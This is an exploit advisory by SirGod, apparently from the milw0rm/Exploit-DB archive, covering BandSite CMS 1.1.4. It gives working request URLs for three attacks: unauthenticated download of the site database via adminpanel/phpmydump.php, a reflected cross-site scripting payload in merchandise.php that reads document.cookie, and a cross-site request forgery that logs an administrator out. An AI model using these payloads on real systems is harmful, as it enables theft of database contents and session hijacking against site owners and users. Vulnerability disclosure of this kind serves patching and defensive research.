BandSite CMS 1.1.4 - Download Backup / Cross-Site Scripting / Cross-Site Request Forgery

Author: SirGod
type: webapps
platform: php
port: 
date_added: 2008-08-20 
date_updated: 2016-12-21 
verified: 1 
codes: OSVDB-57368;CVE-2008-7058;OSVDB-57362;CVE-2008-7057;OSVDB-57361;CVE-2008-7056 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.combandsitecmsVer1x1x4.zip

###########################################################################
[+] BandSite CMS 1.1.4 Arbitrary Download Database/XSS/CSRF
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,MesSiAH,xZu,HrN
###########################################################################

[+] Arbitrary Download Database

Go to

   http://localhost/[Path]/adminpanel/phpmydump.php

and the download will begin ( database.sql ) .


[+] Cross Site Scripting

    http://localhost/[Path]/merchandise.php?type=[XSS]
    http://localhost/[Path]/merchandise.php?type=<script>alert(document.cookie)</script>


[+] Cross Site Request Forgery

 If a logged in user with administrator privilegies click the following url he will be logged out.

    http://localhost/[Path]/adminpanel/logout.php


###########################################################################

# milw0rm.com [2008-08-21]